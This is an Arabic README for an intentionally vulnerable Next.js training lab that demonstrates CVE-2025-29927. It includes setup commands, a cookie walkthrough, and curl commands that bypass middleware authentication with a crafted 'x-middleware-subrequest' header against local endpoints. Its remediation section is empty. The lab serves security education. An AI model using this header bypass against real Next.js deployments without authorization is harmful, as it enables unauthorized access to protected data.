
تطبيق Next.js مُعرَّض للثغرات بشكل متعمّد، يوضح CVE-2025-29927 (تجاوز المصادقة عبر middleware) للتعلّم والتدريب على مكافآت اكتشاف الثغرات.
يحتوي هذا المستودع على تطبيق ويب هشّ عمدًا مبني باستخدام Next.js. وهو مصمم لتوضيح ودراسة الثغرة الأمنية المعروفة باسم CVE-2025-29927.
الهدف من هذا المشروع هو مساعدة الباحثين في مجال الأمن، والطلاب، وصيادي bug bounty على فهم كيفية عمل الثغرة في بيئة تحاكي الواقع.
[!CAUTION ] هذا التطبيق غير آمن عن قصد ويجب ألا يُنشر أبدًا في بيئة الإنتاج.
ترتبط CVE-2025-29927 بالتعامل غير السليم مع منطق الطلبات في التطبيقات المبنية باستخدام Next.js، خاصة في middleware. وهذا يمكن المهاجمين من:
git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev
بعض المسارات معرّضة للخطر عن قصد وقد تشمل
- /api/admin/secret
- /api/internal/health
- /api/private/data
تحاكي هذه النقاط الطرفية موارد مقيّدة لا ينبغي أن تكون قابلة للوصول دون تفويض مناسب.
1.افترض أنك استنسخت المستودع بنجاح
2.ابدأ npm run dev
3.هذا سيشغّل مشروعك محليًا
4.افتح المتصفح الذي تفضّله، مثل Chrome، واكتب http://localhost:3000
5.جرّب الوصول إلى أي من نقاط نهاية API الثلاث
- /api/admin/secret
- /api/internal/health
- /api/private/data
6.الآن جرّب ذلك مع أي نقطة نهاية
- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data
7.لاحظ أن طلبك تم حظره؛ وذلك لأنك لم تُرفق cookie في طلبك. وهذا يعني أن نقطة النهاية محمية بواسطة middleware. يتحقق middleware من احتواء طلبك على cookie، وإذا لم يكن كذلك فسيتم حظره تلقائيًا.
8.الآن دعنا نضيف cookie to our request. للقيام بذلك، افتح أدوات مطوري Chrome (أنا أستخدم متصفح Chrome هنا، يمكنك استخدام أي متصفح تفضّله).
9.اضغط F12 وستفتح أدوات مطوري Chrome
10.انتقل إلى تبويب console
11.في تبويب console اكتب document.cookie="lab-auth=authenticated"
12.الآن حدّث الصفحة ولاحظ أنك login
ضع في اعتبارك أن middleware يتحقق مما إذا كان الطلب يحتوي على cookie. إذا كان الطلب يحتوي على cookie، فستسجّل الدخول بنجاح، وإن لم يكن كذلك، فسيتم حظرك. والسؤال هو: كيف يمكننا تجاوز فحص middleware وتسجيل الدخول دون تقديم cookie؟ هذا ما تتيحه لنا CVE-2025-29927
الآن دعنا نتجاوز فحص مصادقة middleware باستخدام CVE-2025-29927. الحيلة هنا هي فقط إضافة هذه الترويسة المحددة
x-middleware-subrequest: middleware.
من المفترض أن تُستخدم هذه الترويسة داخليًا فقط من قبل Framework. إذا أضفناها، سيتوقف middleware عن التحقق مما إذا كان طلبنا يحتوي على cookie، وعندها ستصبح أي نقطة نهاية حساسة في تطبيقك بلا حماية.
لاستغلال هذا، دعنا نستخدم cURL.
curl هو أداة سطر أوامر تُستخدم لإرسال الطلبات إلى الخادم واستلام الاستجابة.
1.توقّع الحصول على 401 بدون cookie
curl.exe -i http://localhost:3000/api/admin/secret
لاحظ أن الخادم استجاب برمز الحالة 307 (إعادة توجيه مؤقتة). بسبب عدم وجود cookie، تتم إعادة توجيهنا إلى الصفحة الرئيسية/الصفحة الجذرية. وهذا يعني أننا لا نستطيع تسجيل الدخول ما لم نقدّم cookie.
2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
الآن أضفنا "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
لاحظ أننا الآن نستطيع الوصول إلى تسجيل الدخول بدون cookie. هذا تجاوز كامل للمصادقة.
لإصلاح مشكلات مثل هذه في التطبيقات الحقيقية:
هذا المشروع مخصص للأغراض التعليمية فقط. لا تستخدم هذه التقنيات على أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
لا تتردد في:
إذا وجدت هذا مفيدًا، فكّر في إضافة نجمة إلى المستودع.
- Next.js
- Bug Bounty
- Web Security
- CVE-2025-29927
- Middleware Authentication
- Bypass